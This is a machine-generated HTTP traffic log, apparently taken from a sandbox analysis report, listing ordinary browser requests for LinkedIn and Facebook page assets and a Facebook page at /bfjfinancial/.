Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/3utcckkfns4imldimt4a8krjb HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bfjfinancial/ HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/12jn8edunbj0jah6829kj7zs7 HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/5gubp03vhsghua5ctxt9v18a8 HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yI/l/0,cross/XJZbyoKj2zj.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yh/r/nzRrvRgzNjX.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iN7c4/yv/l/en_US/dEY5RMcLccpsR2PQH4woE5w1ZqVVdX_rPk8WPCHwbr_YQzOjQ18M7Ra12N9NG_IRRaTGo7odb2I9QML-m_DiQrfXHMMUHG7qZPnqfYvfDE_D-SyXAHDe0i-84LGpgtjOXUJ-VAblIutlJuDgtkY4r4Ezzwkp8GwrOMn7m1Rdzuzi16ygGc1wa-Oq19cr_l1DuzAtWVDh4cn1CMxub3y91qmloYqX_eJMlvvhSHqgFRlCsGN0FHzi95_wmB-51YxoStyBz2gE2pEQn4HVER6.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iuch4/yJ/l/en_US/nIS5MG5jU1H.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3ii184/ys/l/en_US/erqik_ar1cv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3idBq4/yr/l/en_US/EGYttlRo0gL.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iXxa4/yL/l/en_US/lNsPUo86OiUCMqDMXvq_vpAInncWS5tj5ToJwfvmrzOfGKV2bs_YuvDfGpEmKki_lhM7LsjDmcKgyjNFe6HRv38lumnsSmapohVdoBwRAC4TfczbpC364rkDJy8BWFb8n6g1fWxL1rr0Obq.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yP/r/nqzi0HDP8Ry.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3icvi4/y1/l/en_US/M-7o245DNR1.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/y-/r/NnVv4r542g6.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/y4/r/Bh-w8QWYIjncPzsbL7709ENldItxtlDpV.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3ijbW4/yT/l/en_US/eF3LwptUque.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3idM-4/yT/l/en_US/8W25DItpbDG.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iacN4/yI/l/en_US/WtSigFewNab7KAIuQYQ2DRA37h4BaAlJ8gWh56eirsqvHLjfwTDbdf9s1JoHwtNCGoA5nPaj8nV1TFKK1IeoD-YrVg6MKwflxf-xsw_y3zVOBS5r1v89-9txasBrIEKskPYz.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iWd-4/yL/l/en_US/VMVbV95MTD9.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iDeG4/yl/l/en_US/E-5avDUlsjj.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t1.6435-9/206212128_286310049560622_2434215158864310035_n.jpg?stp=dst-jpg_fb50_p110x80&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Uq8wNHIYnA8Ab5AZxYo&_nc_ht=scontent-lga3-2.xx&oh=00_AfCAZUXFttlHfrY2FVShZl7WOc0Lz1SiIRihgMXzwIIP0w&oe=663FD0B6 HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t1.6435-9/206212128_286310049560622_2434215158864310035_n.jpg?stp=dst-jpg_s960x960&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Uq8wNHIYnA8Ab5AZxYo&_nc_ht=scontent-lga3-2.xx&oh=00_AfAF4pxDyNudHF7xMFtcXwy7ef2UAhVnPQNVbUvBDAjIZg&oe=663FD0B6 HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3id5d4/yS/l/en_US/8THafi6q9GdpQ-QvLDPbL7c22qUA9VY4-m6uLQCuTojhRw83TsroxGFQKvKXSIdAqsCN6hpHVMyJl4UpY82FpGVURJ3hHM37aNVVtwoC8TAEQ4MfFrM7_FIJA8WHHGPNLzXcDiv5SPZN5urt1HvL9YbQDWJTi7d4N5wiQsGMxCFFoEtz8Gx6F23J_Tj.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t1.6435-9/203598184_284712353053725_8726646647123246716_n.jpg?stp=c64.0.160.160a_dst-jpg_p160x160&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=PHlGU2St1TUAb6VJarJ&_nc_ht=scontent-lga3-2.xx&oh=00_AfChtWu6Ep5nAiBIvjYV9z3nmOFlTwAMzrg6NB3bjxAWlw&oe=663FA40B HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/434870218_983385669853053_7084942549234442441_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=RTXaj_w3vwoAb6kPsRj&_nc_ht=scontent-lga3-2.xx&oh=00_AfCQ7eirRa68wVAi87YynW35JG6CvA-jaOYBsttAH2mJyg&oe=661E2C6B HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yS/r/mdW2sCYlZBe.png HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/432924638_981453820046238_6885541610282582644_n.jpg?stp=c62.0.160.160a_dst-jpg_p160x160&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=71KX-ATRvNwAb4ZywyM&_nc_ht=scontent-lga3-2.xx&oh=00_AfD9dej9ODWOZ3g0H0iLgebkxC4YSr9BElu67QWbKC7Lsg&oe=661E14B4 HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t1.6435-9/191680915_265045765020384_5894171166834969580_n.jpg?stp=c50.0.160.160a_dst-jpg_p160x160&_nc_cat=110&ccb=1-7&_nc_sid=5f2048&_nc_ohc=mO4BuMgfth0Ab73pxw1&_nc_ht=scontent-lga3-1.xx&oh=00_AfCH9laTFaWTyRR0G7UvKaGz7i-oivPXL8upnQfgqZbOtQ&oe=663FBD62 HTTP/1.1Host: scontent-lga3-1.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/432913958_982761573248796_5936599578752657612_n.jpg?stp=dst-jpg_s160x160&_nc_cat=106&ccb=1-7&_nc_sid=5f2048&_nc_ohc=KZPvj0YAcUQAb4zfexZ&_nc_ht=scontent-lga3-1.xx&oh=00_AfCtKT4Ml4ll6ZqExtUsLq_2FcMg_To2Fof-0JkATk8tFA&oe=661E013C HTTP/1.1Host: scontent-lga3-1.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3ixS04/ye/l/en_US/3Vt4g4L9IO-.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/434377831_977196400471980_4692415244947758289_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=_mpe2tuK2qoAb7w4Shi&_nc_ht=scontent-lga3-1.xx&oh=00_AfBB0yUIlV4ji25AYwMaaDhRRzMoKQaEng_iUrCLWilsaA&oe=661E2426 HTTP/1.1Host: scontent-lga3-1.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/434402861_977701610421459_6880091748567335012_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=kXLmUCdhYxsAb4iEjaH&_nc_ht=scontent-lga3-1.xx&oh=00_AfARRBcvMDDBFsm5yvE56fykVe6lS6PvAygGzPU5Y-GOYA&oe=661E1968 HTTP/1.1Host: scontent-lga3-1.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/434158334_977196440471976_8409536769003539760_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=F5QkQOJQfhkAb6D7Riq&_nc_ht=scontent-lga3-2.xx&oh=00_AfC1SaC6emiNkyNgQpAp-a0Z1byMhjig28kkstzT0Gimsw&oe=661E0829 HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
